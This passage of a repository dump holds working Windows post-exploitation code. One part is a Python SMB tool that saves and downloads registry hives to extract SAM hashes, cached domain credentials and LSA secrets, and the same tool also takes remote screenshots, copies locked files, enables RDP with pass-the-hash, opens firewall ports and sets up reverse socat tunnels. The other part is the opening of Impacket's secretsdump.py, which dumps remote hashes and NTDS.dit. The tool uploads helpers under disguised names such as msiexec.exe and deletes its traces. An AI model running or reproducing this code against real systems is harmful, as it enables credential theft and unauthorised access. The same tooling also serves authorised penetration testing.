BASEDIR + '/creddump') 697 | from framework.win32 import hashdump, domcachedump, lsasecrets 698 | except: 699 | text("[!] Error: Creddump dependency missing.", 1) 700 | 701 | set_creds(3) 702 | 703 | text("[*] %s Extracting hives..." % (CONF["smb_ip"])) 704 | 705 | tmpfile = '/tmp/cred_run.%s.bat' % (CONF["smb_ip"]) 706 | 707 | bat = ['@echo off', 'cd \\windows\\temp', 708 | 'reg save HKLM\\SAM sam.hive /y', 709 | 'reg save HKLM\\SYSTEM system.hive /y', 710 | 'reg save HKLM\\SECURITY security.hive /y'] 711 | 712 | open(tmpfile, 'w').write('\r\n'.join(bat)) 713 | 714 | smbclient('put "%s" "\\windows\\temp\\cred_run.bat"' % tmpfile) 715 | text("[*] %s Running cred_run.bat\n%s\n" % (CONF["smb_ip"], winexe('\\windows\\temp\\cred_run.bat'))) 716 | 717 | text("[*] %s Downloading hives..." % (CONF["smb_ip"])) 718 | smbclient('get "\\windows\\temp\\sam.hive" "%s_sam.hive"' % CONF['smb_ip']) 719 | smbclient('get "\\windows\\temp\\system.hive" "%s_system.hive"' % CONF['smb_ip']) 720 | smbclient('get "\\windows\\temp\\security.hive" "%s_security.hive"' % CONF['smb_ip']) 721 | 722 | text("[*] %s Removing temp files..." % (CONF["smb_ip"])) 723 | smbclient('del "\\windows\\temp\\cred_run.bat"') 724 | smbclient('del "\\windows\\temp\\sam.hive"') 725 | smbclient('del "\\windows\\temp\\system.hive"') 726 | smbclient('del "\\windows\\temp\\security.hive"') 727 | os.unlink(tmpfile) 728 | 729 | text("[*] %s Extracting SAM credentials..." % (CONF["smb_ip"])) 730 | hashes = hashdump.dump_file_hashes(CONF['smb_ip'] + '_system.hive', CONF['smb_ip'] + '_sam.hive') 731 | 732 | text("[*] %s Extracting MSCASH credentials..." % (CONF["smb_ip"])) 733 | mscash = domcachedump.dump_file_hashes(CONF['smb_ip'] + '_system.hive', CONF['smb_ip'] + '_security.hive') 734 | 735 | text("[*] %s SAM hashes\n%s" % (CONF["smb_ip"], "\n".join(hashes))) 736 | text("[*] %s MsCash\n%s" % (CONF["smb_ip"], "\n".join(mscash))) 737 | 738 | # Code below ripped from creddump's lsadump.py 739 | text("[*] %s Extracting LSA Secrets..." % (CONF["smb_ip"])) 740 | try: 741 | FILTER = ''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)]) 742 | secrets = lsasecrets.get_file_secrets(CONF['smb_ip'] + '_system.hive', CONF['smb_ip'] + '_security.hive') 743 | 744 | if not secrets: 745 | text("[!] %s Error(smb_creddump): Unable to read LSA secrets." % (CONF["smb_ip"])) 746 | 747 | else: 748 | 749 | secrets = [] 750 | 751 | for k in secrets: 752 | N = 0 753 | length = 16 754 | result = '' 755 | while secrets[k]: 756 | s, secrets[k] = secrets[k][:length],secrets[k][length:] 757 | hexa = ' '.join(["%02X" % ord(x) for x in s]) 758 | s = s.translate(FILTER) 759 | result += "%04X %-*s %s\n" % (N, length*3, hexa, s) 760 | N += length 761 | 762 | secrets.append(k) 763 | secrets.append(result) 764 | 765 | text("[*] %s LSA Secrets\n%s" % (CONF["smb_ip"], "\n".join(secrets))) 766 | except: 767 | pass 768 | 769 | text("[*] %s SYSTEM, SAM and SECURITY hives were saved in the current directory." % (CONF["smb_ip"])) 770 | 771 | def smb_lastlog(): 772 | """ 773 | [-s] <ip> [ user ] [ passwd/nthash ] <username> 774 | Retrieves last known IPs for given user from the DC's Event Logs. Provide DC IP. 775 | """ 776 | if CONF["threaded_mode"]: 777 | text("[!] Function not available when running for several hosts.", 1) 778 | 779 | set_creds(4) 780 | check_tool('logparser') 781 | check_creds() 782 | 783 | text("[*] Getting last 3 known IP addresses...") 784 | 785 | smbclient('put "%s" "\\windows\\temp\\msiexec.exe"' % TOOLS['logparser']) 786 | print winexe("\\windows\\temp\\msiexec.exe -q -i EVT \"SELECT TOP 3 EXTRACT_TOKEN(Strings, 6, '|') AS Domain, EXTRACT_TOKEN(Strings, 5, '|') AS User, EXTRACT_TOKEN(Strings, 18, '|') AS IP FROM Security WHERE EventType=8 /*AND EventCategory=12544*/ AND STRLEN(IP) > 3 AND User='%s'\""% sys.argv[3]) 787 | smbclient('del "\\windows\\temp\\msiexec.exe"') 788 | 789 | def smb_scrshot(): 790 | """ 791 | [-s] <ip/file/range> [ user ] [ passwd/nthash ] 792 | Takes a screenshot of the active session 793 | """ 794 | 795 | set_creds(3) 796 | check_tool('runastask') 797 | check_tool('nircmd') 798 | 799 | text("[*] %s Uploading tools..." % (CONF["smb_ip"])) 800 | smbclient('put "%s" "\\windows\\temp\\r.exe"' % TOOLS['runastask']) 801 | smbclient('put "%s" "\\windows\\temp\\n.exe"' % TOOLS['nircmd']) 802 | 803 | text("[*] %s Capturing screenshot..." % (CONF["smb_ip"])) 804 | filename = '/tmp/screenshot.%s.%s.png' % (CONF["smb_ip"], str(time.time())) 805 | 806 | winexe('\\windows\\temp\\r.exe %s C:\\windows\\temp\\n.exe savescreenshotfull C:\\windows\\temp\\s.png' % CONF['smb_user']) 807 | smbclient('get "\\windows\\temp\\s.png" "%s"' % filename); 808 | 809 | text("[*] %s Cleaning files..." % (CONF["smb_ip"])) 810 | smbclient('del "\\windows\\temp\\n.exe"') 811 | smbclient('del "\\windows\\temp\\r.exe"') 812 | smbclient('del "\\windows\\temp\\s.png"') 813 | 814 | if os.path.exists(filename): 815 | text("[*] %s Screenshot saved under %s." % (CONF["smb_ip"], filename)) 816 | os.system('display "%s" &' % filename) 817 | text("[*] %s Done." % (CONF["smb_ip"])) 818 | 819 | else: 820 | text("[!] %s Error(smb_scrshot): Is the user logged in?." % (CONF["smb_ip"]), 1) 821 | 822 | def smb_vsscpy(): 823 | """ 824 | [-s] <ip> [ user ] [ passwd/nthash ] <remotefile> <localfile> 825 | Use shadow copies to download a locked file from the host 826 | """ 827 | if CONF["threaded_mode"]: 828 | text("[!] Function not available when running for several hosts.", 1) 829 | 830 | check_tool('vsscpy') 831 | set_creds(5) 832 | 833 | if len(sys.argv) != 5: 834 | usage() 835 | 836 | check_creds() 837 | 838 | remotefile = sys.argv[3] 839 | localfile = "%s-%s" % (sys.argv[4], CONF["smb_ip"]) 840 | 841 | text("[*] %s Uploading script..." % (CONF["smb_ip"])) 842 | smbclient('put "%s" "\\windows\\temp\\vsscpy.vbs"' % TOOLS['vsscpy']) 843 | 844 | text("[*] %s Running script..." % (CONF["smb_ip"])) 845 | winexe('cscript \\windows\\temp\\vsscpy.vbs "%s"' % remotefile.lower().replace('c:', '')) 846 | 847 | text("[*] %s Downloading file to '%s'..." % (CONF["smb_ip"], localfile)) 848 | smbclient('get "\\windows\\temp\\temp.tmp" "%s"' % localfile) 849 | 850 | text("[*] %s Removing temp files..." % (CONF["smb_ip"])) 851 | smbclient('del "\\windows\\temp\\temp.tmp"') 852 | smbclient('del "\\windows\\temp\\vsscpy.vbs"') 853 | 854 | text("[*] %s Done." % (CONF["smb_ip"])) 855 | 856 | def smb_fwrule(action = None, param = None): 857 | """ 858 | [-s] <ip> [ user ] [ password ] <add | del> <program path | port number> 859 | Create or remove a rule in the Windows firewall 860 | """ 861 | 862 | if CONF["threaded_mode"]: 863 | text("[!] Function not available when running for several hosts.", 1) 864 | 865 | if len(inspect.stack()) == 3: # Function called directly from command line 866 | 867 | set_creds(5) 868 | check_creds() 869 | 870 | if len(sys.argv) != 5 or sys.argv[3] not in ['add', 'del']: 871 | usage() 872 | 873 | action = sys.argv[3] 874 | param = sys.argv[4] 875 | 876 | name = 'Core Networking - SMB' # Or whatever you want as a rule name 877 | param = str(param) 878 | 879 | text("[*] %sing firewall rule..." % ('Add' if action == 'add' else 'Delet')) 880 | 881 | if param.isdigit(): # Adding a port rule 882 | ret = winexe('netsh advfirewall firewall %s rule dir=in name="%s" %s protocol=TCP localport=%s' % 883 | (action, name, 'action=allow' if action == 'add' else '', param)) 884 | 885 | else: # Adding a program rule 886 | ret = winexe('netsh advfirewall firewall %s rule dir=out name="%s" %s program="%s"' % 887 | (action, name, 'action=allow' if action == 'add' else '', param)) 888 | 889 | if 'Ok.' in ret: 890 | text("[*] Success.") 891 | else: 892 | text("[!] Failed.") 893 | 894 | def smb_mount(): 895 | """ 896 | <ip> [ user ] [ password ] <share> <localpath> 897 | Mount a remote share locally via CIFS (Pass-the-Hash not available) 898 | """ 899 | 900 | if CONF["threaded_mode"]: 901 | text("[!] Function not available when running for several hosts.", 1) 902 | 903 | set_creds(5) 904 | 905 | if len(sys.argv) != 5: 906 | usage() 907 | 908 | share = sys.argv[3] 909 | localdir = sys.argv[4] 910 | 911 | if not os.path.exists(localdir): 912 | os.mkdir(localdir) 913 | 914 | if CONF['smb_pass'] == '': 915 | text("[!] Pass-The-Hash not available for mount.", 1) 916 | 917 | opts = ['password='+ CONF['smb_pass'], 'uid='+ str(os.getuid()), 'gid='+ str(os.getgid()), 'file_mode=0644', 'dir_mode=0755'] 918 | 919 | if '\\' in CONF['smb_user']: 920 | opts += CONF['smb_user'].split('\\') 921 | 922 | else: 923 | opts += ['username='+ CONF['smb_user']] 924 | 925 | os.system('sudo mount -t cifs -o "%s" "//%s/%s" "%s"' % (','.join(opts), CONF['smb_ip'], share, localdir)) 926 | 927 | def smb_rdp(): 928 | """ 929 | <ip> [ user ] [ passwd/nthash ] [ enable | disable ] 930 | Open a Remote Desktop session using xfreerdp (Pass-the-Hash = restricted admin) 931 | """ 932 | 933 | if CONF["threaded_mode"]: 934 | text("[!] Function not available when running for several hosts.", 1) 935 | 936 | if 'enable' in sys.argv: 937 | set_creds(4) 938 | text("[*] %s Updating Registry..." % (CONF["smb_ip"])) 939 | winexe('reg add "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f') 940 | smb_fwrule('add', 3389) 941 | sys.exit(0) 942 | 943 | if 'disable' in sys.argv: 944 | set_creds(4) 945 | text("[*] %s Updating Registry..." % (CONF["smb_ip"])) 946 | winexe('reg add "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f') 947 | smb_fwrule('del', 3389); 948 | sys.exit(0) 949 | 950 | set_creds(3) 951 | check_tool('xfreerdp') 952 | 953 | res = screen_resolution() 954 | max_res = '%dx%d' % (int(res[0]), int(res[1]) - 50) 955 | 956 | run = [] 957 | run.append(TOOLS['xfreerdp']) 958 | run.append('/size:%s' % max_res) 959 | run.append('/t:%s' % CONF['smb_ip']) 960 | run.append('/v:%s' % CONF['smb_ip']) 961 | 962 | if '\\' in CONF['smb_user']: 963 | tab = CONF['smb_user'].split('\\', 2) 964 | run.append('/d:%s' % tab[0]) 965 | run.append('/u:%s' % tab[1]) 966 | 967 | else: 968 | run.append('/u:%s' % CONF['smb_user']) 969 | 970 | if CONF['smb_pass'] == '': 971 | text("[!] Note: Pass-the-Hash with RDP only works for local admin accounts and under the restricted admin mode.") 972 | run.append('/pth:%s' % CONF['smb_hash']) 973 | run.append('/restricted-admin') 974 | 975 | else: 976 | run.append('/p:%s' % CONF['smb_pass']) 977 | 978 | # Tweak the following to suit your needs 979 | run.append("+clipboard") 980 | run.append("+home-drive") 981 | run.append("-decorations") 982 | run.append("/cert-ignore") # baaad. 983 | 984 | os.spawnvpe(os.P_WAIT, run[0], run, os.environ) 985 | 986 | def smb_portfwd(lport = None, rhost = None, rport = None): 987 | """ 988 | [-s] <ip> [ user ] [ passwd/nthash ] <lport> <rhost> <rport> 989 | Forward a remote port to a remote address 990 | """ 991 | 992 | if CONF["threaded_mode"]: 993 | text("[!] Function not available when running for several hosts.", 1) 994 | 995 | if len(inspect.stack()) == 3: # Function called directly from command line 996 | 997 | set_creds(6) 998 | check_creds() 999 | 1000 | if len(sys.argv) != 6: 1001 | usage() 1002 | 1003 | lport = int(sys.argv[3]) 1004 | rport = int(sys.argv[5]) 1005 | rhost = sys.argv[4] 1006 | 1007 | text("[*] Setting up port forwarding...") 1008 | 1009 | ret = winexe("netsh interface portproxy add v4tov4 listenport=%d connectport=%d connectaddress=%s" % 1010 | (lport, rport, rhost)) 1011 | 1012 | text("[i] Connections to %s:%d are now forwarded to %s:%d" % (CONF['smb_ip'], lport, rhost, rport)) 1013 | text("[i] Hit CTRL+C when done...") 1014 | 1015 | try: 1016 | raw_input() 1017 | 1018 | except KeyboardInterrupt: 1019 | 1020 | sys.stdout.write('\r') 1021 | text("[*] Stopping port forwarding...") 1022 | winexe('netsh interface portproxy reset') 1023 | 1024 | text("[*] Done.") 1025 | 1026 | def smb_revfwd(lport = None, rhost = None, rport = None): 1027 | """ 1028 | [-s] <ip> [ user ] [ passwd/nthash ] <lport> <rhost> <rport> 1029 | Reverse-forward a remote address/port locally 1030 | """ 1031 | 1032 | if CONF["threaded_mode"]: 1033 | text("[!] Function not available when running for several hosts.", 1) 1034 | 1035 | if len(inspect.stack()) == 3: # Function called directly from command line 1036 | 1037 | set_creds(6) 1038 | check_creds() 1039 | 1040 | if len(sys.argv) != 6: 1041 | usage() 1042 | 1043 | lport = int(sys.argv[3]) 1044 | rport = int(sys.argv[5]) 1045 | rhost = sys.argv[4] 1046 | 1047 | check_tool('socat.tar') 1048 | check_tool('socat') 1049 | check_tool('tar') 1050 | 1051 | local_if = subprocess.Popen(['ip', 'route', 'get', 'to', CONF['smb_ip']], stdout=subprocess.PIPE, stdin=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.readlines()[0] 1052 | local_if = local_if.strip().split()[-1] 1053 | 1054 | text("[*] Uploading files...") 1055 | smbclient('put "%s" "\\windows\\temp\\tar.exe"' % TOOLS['tar']) 1056 | smbclient('put "%s" "\\windows\\temp\\socat.tar"' % TOOLS['socat.tar']) 1057 | 1058 | winexe('\\windows\\temp\\tar.exe xf /windows/temp/socat.tar -C /windows/temp') 1059 | 1060 | text("[*] Setting up local listener...") 1061 | process = subprocess.Popen([ TOOLS['socat'], 1062 | 'TCP-LISTEN:%d,bind=%s,reuseaddr,fork' % (lport, local_if), 1063 | 'TCP-LISTEN:56789,reuseaddr' ]) 1064 | 1065 | smb_fwrule('add', 'C:\\windows\\temp\\socat\\socat.exe') 1066 | 1067 | text("[*] Creating reverse tunnel..."); 1068 | text("[i] %s:%d <--> %s:56789 <--> %s:%d" % (rhost, rport, CONF['smb_ip'], local_if, lport)) 1069 | text("[i] Now point your client to %s:%d" % (local_if, lport)) 1070 | winexe('\\windows\\temp\\socat\\socat.exe TCP:%s:56789,forever,interval=1 TCP:%s:%d' % (local_if, rhost, rport)) 1071 | 1072 | text("[*] Cleaning up..."); 1073 | winexe('cmd /c del /f/q \\windows\\temp\\socat.tar \\windows\\temp\\tar.exe & rmdir /q/s \\windows\\temp\\socat'); 1074 | process.terminate() 1075 | 1076 | smb_fwrule('del', 'C:\\windows\\temp\\socat\\socat.exe'); 1077 | 1078 | text("[*] Done."); 1079 | 1080 | def smb_mbsa(): 1081 | """ 1082 | [-s] <ip> [ user ] [ passwd/nthash ] [ update ] 1083 | Run MBSA on the remote host 1084 | """ 1085 | 1086 | if CONF["threaded_mode"]: 1087 | text("[!] Function not available when running for several hosts.", 1) 1088 | 1089 | if not os.path.exists(TOOLS['mbsa']['cab']) or sys.argv[2] == 'update': 1090 | text("[*] Downloading MBSA catalog updates...") 1091 | download_file("http://go.microsoft.com/fwlink/?LinkId=76054", TOOLS['mbsa']['cab']) 1092 | text("[*] Done.") 1093 | 1094 | set_creds(3) 1095 | check_tool('mbsa') 1096 | 1097 | text("[*] Preparing MBSA...") 1098 | 1099 | arch = 'x86' if os_architecture() == 32 else 'x64' 1100 | TOOLS['mbsa']['exe'] = TOOLS['mbsa']['exe'] % arch 1101 | TOOLS['mbsa']['dll'] = TOOLS['mbsa']['dll'] % arch 1102 | 1103 | import tarfile 1104 | archive = tarfile.open('/tmp/mbsa.tar', mode='w') 1105 | 1106 | try: 1107 | for k, v in TOOLS['mbsa'].iteritems(): 1108 | archive.add(v, arcname=os.path.basename(v)) 1109 | finally: 1110 | archive.close() 1111 | 1112 | text("[*] Uploading files...") 1113 | 1114 | smbclient('put "%s" "\\windows\\temp\\tar.exe"' % TOOLS['tar']) 1115 | smbclient('put "/tmp/mbsa.tar" "\\windows\\temp\\mbsa.tar"') 1116 | smbclient('mkdir \\windows\\temp\\mbsa') 1117 | os.unlink('/tmp/mbsa.tar') 1118 | 1119 | text("[*] Running...") 1120 | 1121 | winexe('\\windows\\temp\\tar.exe xf /windows/temp/mbsa.tar -C /windows/temp/mbsa') 1122 | winexe('\\windows\\temp\\mbsa\\mbsa.bat') 1123 | 1124 | text("[*] Downloading results...") 1125 | smbclient('get "\\windows\\temp\\mbsa\\results.xml" "/tmp/mbsa_%s.xml"' % CONF['smb_ip']); 1126 | 1127 | text("[*] Cleaning up..."); 1128 | winexe('cmd /c del /f/q \\windows\\temp\\mbsa.tar \\windows\\temp\\tar.exe & rmdir /q/s \\windows\\temp\\mbsa'); 1129 | 1130 | if os.path.exists('/tmp/mbsa_%s.xml' % CONF['smb_ip']): 1131 | text("[*] Excel-friendly results saved under /tmp/mbsa_%s.xml" % CONF['smb_ip']) 1132 | else: 1133 | text("[!] Failed.") 1134 | 1135 | def smb_hash(): 1136 | """ 1137 | <plaintext> 1138 | Generate a NTLM hash from a plaintext 1139 | """ 1140 | 1141 | print ntlm_hash(sys.argv[2]) 1142 | 1143 | if __name__ == "__main__": 1144 | main() 1145 | -------------------------------------------------------------------------------- /secretsdump.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Copyright (c) 2003-2015 CORE Security Technologies 3 | # 4 | # This software is provided under a slightly modified version 5 | # of the Apache Software License. See the accompanying LICENSE file 6 | # for more information. 7 | # 8 | # Description: Performs various techniques to dump hashes from the 9 | # remote machine without executing any agent there. 10 | # For SAM and LSA Secrets (including cached creds) 11 | # we try to read as much as we can from the registry 12 | # and then we save the hives in the target system 13 | # (%SYSTEMROOT%\\Temp dir) and read the rest of the 14 | # data from there. 15 | # For NTDS.dit we either: 16 | # a. Get the domain users list and get its hashes 17 | # and Kerberos keys using [MS-DRDS] DRSGetNCChanges() 18 | # call, replicating just the attributes we need. 19 | # b. Extract NTDS.dit via vssadmin executed with the 20 | # smbexec approach. 21 | # It's copied on the temp dir and parsed remotely. 22 | # 23 | # The script initiates the services required for its working 24 | # if they are not available (e.g. Remote Registry, even if it is 25 | # disabled). After the work is done, things are restored to the 26 | # original state. 27 | # 28 | # Author: 29 | # Alberto Solino (@agsolino) 30 | # 31 | # References: Most of the work done by these guys. I just put all 32 | # the pieces together, plus some extra magic. 33 | # 34 | # https://github.com/gentilkiwi/kekeo/tree/master/dcsync 35 | # http://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html 36 | # http://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html 37 | # http://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html 38 | # http://www.quarkslab.com/en-blog+read+13 39 | # https://code.google.com/p/creddump/ 40 | # http://lab.mediaservice.net/code/cachedump.rb 41 | # http://insecurety.net/?p=768 42 | # http://www.beginningtoseethelight.org/ntsecurity/index.htm 43 | # http://www.ntdsxtract.com/downloads/ActiveDirectoryOfflineHashDumpAndForensics.pdf 44 | # http://www.passcape.com/index.php?section=blog&cmd=details&id=15 45 | # 46 | from struct import unpack, pack 47 | from collections import OrderedDict 48 | from binascii import unhexlify, hexlify 49 | from datetime import datetime 50 | import sys 51 | import random 52 | import hashlib 53 | import argparse 54 | import logging 55 | import ntpath 56 | import time 57 | import string 58 | import codecs 59 | 60 | from impacket.examples import logger 61 | from impacket import version, winregistry, ntlm 62 | from impacket.smbconnection import SMBConnection 63 | from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi 64 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE 65 | from impacket.winregistry import hexdump 66 | from impacket.structure import Structure 67 | from impacket.nt_errors import STATUS_MORE_ENTRIES 68 | from impacket.ese import ESENT_DB 69 | from impacket.dcerpc.v5.dtypes import NULL 70 | 71 | try: 72 | from Crypto.Cipher import DES, ARC4, AES 73 | from Crypto.Hash import HMAC, MD4 74 | except ImportError: 75 | logging.critical("Warning: You don't have any crypto installed. You need PyCrypto") 76 | logging.critical("See http://www.pycrypto.org/") 77 | 78 | 79 | # Structures 80 | # Taken from http://insecurety.net/?p=768 81 | class SAM_KEY_DATA(Structure): 82 | structure = ( 83 | ('Revision','<L=0'), 84 | ('Length','<L=0'), 85 | ('Salt','16s=""'), 86 | ('Key','16s=""'), 87 | ('CheckSum','16s=""'), 88 | ('Reserved','<Q=0'), 89 | ) 90 | 91 | class DOMAIN_ACCOUNT_F(Structure): 92 | structure = ( 93 | ('Revision','<L=0'), 94 | ('Unknown','<L=0'), 95 | ('CreationTime','<Q=0'), 96 | ('DomainModifiedCount','<Q=0'), 97 | ('MaxPasswordAge','<Q=0'), 98 | ('MinPasswordAge','<Q=0'), 99 | ('ForceLogoff','<Q=0'), 100 | ('LockoutDuration','<Q=0'), 101 | ('LockoutObservationWindow','<Q=0'), 102 | ('ModifiedCountAtLastPromotion','<Q=0'), 103 | ('NextRid','<L=0'), 104 | ('PasswordProperties','<L=0'), 105 | ('MinPasswordLength','<H=0'), 106 | ('PasswordHistoryLength','<H=0'), 107 | ('LockoutThreshold','<H=0'), 108 | ('Unknown2','<H=0'), 109 | ('ServerState','<L=0'), 110 | ('ServerRole','<H=0'), 111 | ('UasCompatibilityRequired','<H=0'), 112 | ('Unknown3','<Q=0'), 113 | ('Key0',':', SAM_KEY_DATA), 114 | # Commenting this, not needed and not present on Windows 2000 SP0 115 | # ('Key1',':', SAM_KEY_DATA), 116 | # ('Unknown4','<L=0'), 117 | ) 118 | 119 | # Great help from here http://www.beginningtoseethelight.org/ntsecurity/index.htm 120 | class USER_ACCOUNT_V(Structure): 121 | structure = ( 122 | ('Unknown','12s=""'), 123 | ('NameOffset','<L=0'), 124 | ('NameLength','<L=0'), 125 | ('Unknown2','<L=0'), 126 | ('FullNameOffset','<L=0'), 127 | ('FullNameLength','<L=0'), 128 | ('Unknown3','<L=0'), 129 | ('CommentOffset','<L=0'), 130 | ('CommentLength','<L=0'), 131 | ('Unknown3','<L=0'), 132 | ('UserCommentOffset','<L=0'), 133 | ('UserCommentLength','<L=0'), 134 | ('Unknown4','<L=0'), 135 | ('Unknown5','12s=""'), 136 | ('HomeDirOffset','<L=0'), 137 | ('HomeDirLength','<L=0'), 138 | ('Unknown6','<L=0'), 139 | ('HomeDirConnectOffset','<L=0'), 140 | ('HomeDirConnectLength','<L=0'), 141 | ('Unknown7','<L=0'), 142 | ('ScriptPathOffset','<L=0'), 143 | ('ScriptPathLength','<L=0'), 144 | ('Unknown8','<L=0'), 145 | ('ProfilePathOffset','<L=0'), 146 | ('ProfilePathLength','<L=0'), 147 | ('Unknown9','<L=0'), 148 | ('WorkstationsOffset','<L=0'), 149 | ('WorkstationsLength','<L=0'), 150 | ('Unknown10','<L=0'), 151 | ('HoursAllowedOffset','<L=0'), 152 | ('HoursAllowedLength','<L=0'), 153 | ('Unknown11','<L=0'), 154 | ('Unknown12','12s=""'), 155 | ('LMHashOffset','<L=0'), 156 | ('LMHashLength','<L=0'), 157 | ('Unknown13','<L=0'), 158 | ('NTHashOffset','<L=0'), 159 | ('NTHashLength','<L=0'), 160 | ('Unknown14','<L=0'), 161 | ('Unknown15','24s=""'), 162 | ('Data',':=""'), 163 | ) 164 | 165 | class NL_RECORD(Structure): 166 | structure = ( 167 | ('UserLength','<H=0'), 168 | ('DomainNameLength','<H=0'), 169 | ('EffectiveNameLength','<H=0'), 170 | ('FullNameLength','<H=0'), 171 | ('MetaData','52s=""'), 172 | ('FullDomainLength','<H=0'), 173 | ('Length2','<H=0'), 174 | ('CH','16s=""'), 175 | ('T','16s=""'), 176 | ('EncryptedData',':'), 177 | ) 178 | 179 | 180 | class SAMR_RPC_SID_IDENTIFIER_AUTHORITY(Structure): 181 | structure = ( 182 | ('Value','6s'), 183 | ) 184 | 185 | class SAMR_RPC_SID(Structure): 186 | structure = ( 187 | ('Revision','<B'), 188 | ('SubAuthorityCount','<B'), 189 | ('IdentifierAuthority',':',SAMR_RPC_SID_IDENTIFIER_AUTHORITY), 190 | ('SubLen','_-SubAuthority','self["SubAuthorityCount"]*4'), 191 | ('SubAuthority',':'), 192 | ) 193 | 194 | def formatCanonical(self): 195 | ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5])) 196 | for i in range(self['SubAuthorityCount']): 197 | ans += '-%d' % ( unpack('>L',self['SubAuthority'][i*4:i*4+4])[0]) 198 | return ans 199 | 200 | class LSA_SECRET_BLOB(Structure): 201 | structure = ( 202 | ('Length','<L=0'), 203 | ('Unknown','12s=""'), 204 | ('_Secret','_-Secret','self["Length"]'), 205 | ('Secret',':'), 206 | ('Remaining',':'), 207 | ) 208 | 209 | class LSA_SECRET(Structure): 210 | structure = ( 211 | ('Version','<L=0'), 212 | ('EncKeyID','16s=""'), 213 | ('EncAlgorithm','<L=0'), 214 | ('Flags','<L=0'), 215 | ('EncryptedData',':'), 216 | ) 217 | 218 | class LSA_SECRET_XP(Structure): 219 | structure = ( 220 | ('Length','<L=0'), 221 | ('Version','<L=0'), 222 | ('_Secret','_-Secret', 'self["Length"]'), 223 | ('Secret', ':'), 224 | ) 225 | 226 | # Classes 227 | class RemoteFile: 228 | def __init__(self, smbConnection, fileName): 229 | self.__smbConnection = smbConnection 230 | self.__fileName = fileName 231 | self.__tid = self.__smbConnection.connectTree('ADMIN$') 232 | self.__fid = None 233 | self.__currentOffset = 0 234 | 235 | def open(self): 236 | self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName) 237 | 238 | def seek(self, offset, whence): 239 | # Implement whence, for now it's always from the beginning of the file 240 | if whence == 0: 241 | self.__currentOffset = offset 242 | 243 | def read(self, bytesToRead): 244 | if bytesToRead > 0: 245 | data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead) 246 | self.__currentOffset += len(data) 247 | return data 248 | return '' 249 | 250 | def close(self): 251 | if self.__fid is not None: 252 | self.__smbConnection.closeFile(self.__tid, self.__fid) 253 | self.__smbConnection.deleteFile('ADMIN$', self.__fileName) 254 | self.__fid = None 255 | 256 | def tell(self): 257 | return self.__currentOffset 258 | 259 | def __str__(self): 260 | return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName) 261 | 262 | 263 | class RemoteOperations: 264 | def __init__(self, smbConnection, doKerberos): 265 | self.__smbConnection = smbConnection 266 | self.__smbConnection.setTimeout(5*60) 267 | self.__serviceName = 'RemoteRegistry' 268 | self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]' 269 | self.__rrp = None 270 | self.__regHandle = None 271 | 272 | self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]' 273 | self.__samr = None 274 | self.__domainHandle = None 275 | self.__domainName = None 276 | 277 | self.__drsr = None 278 | self.__hDrs = None 279 | self.__NtdsDsaObjectGuid = None 280 | self.__ppartialAttrSet = None 281 | self.__prefixTable = [] 282 | self.__doKerberos = doKerberos 283 | 284 | self.__bootKey = '' 285 | self.__disabled = False 286 | self.__shouldStop = False 287 | self.__started = False 288 | 289 | self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]' 290 | self.__scmr = None 291 | self.__tmpServiceName = None 292 | self.__serviceDeleted = False 293 | 294 | self.__batchFile = '%TEMP%\\execute.bat' 295 | self.__shell = '%COMSPEC% /Q /c ' 296 | self.__output = '%SYSTEMROOT%\\Temp\\__output' 297 | self.__answerTMP = '' 298 | 299 | def __connectSvcCtl(self): 300 | rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl) 301 | rpc.set_smb_connection(self.__smbConnection) 302 | self.__scmr = rpc.get_dce_rpc() 303 | self.__scmr.connect() 304 | self.__scmr.bind(scmr.MSRPC_UUID_SCMR) 305 | 306 | def __connectWinReg(self): 307 | rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg) 308 | rpc.set_smb_connection(self.__smbConnection) 309 | self.__rrp = rpc.get_dce_rpc() 310 | self.__rrp.connect() 311 | self.__rrp.bind(rrp.MSRPC_UUID_RRP) 312 | 313 | def connectSamr(self, domain): 314 | rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr) 315 | rpc.set_smb_connection(self.__smbConnection) 316 | self.__samr = rpc.get_dce_rpc() 317 | self.__samr.connect() 318 | self.__samr.bind(samr.MSRPC_UUID_SAMR) 319 | resp = samr.hSamrConnect(self.__samr) 320 | serverHandle = resp['ServerHandle'] 321 | 322 | resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain) 323 | resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId']) 324 | self.__domainHandle = resp['DomainHandle'] 325 | self.__domainName = domain 326 | 327 | def __connectDrds(self): 328 | stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI, 329 | protocol='ncacn_ip_tcp') 330 | rpc = transport.DCERPCTransportFactory(stringBinding) 331 | if hasattr(rpc, 'set_credentials'): 332 | # This method exists only for selected protocol sequences. 333 | rpc.set_credentials(*(self.__smbConnection.getCredentials())) 334 | rpc.set_kerberos(self.__doKerberos) 335 | self.__drsr = rpc.get_dce_rpc() 336 | self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 337 | if self.__doKerberos: 338 | 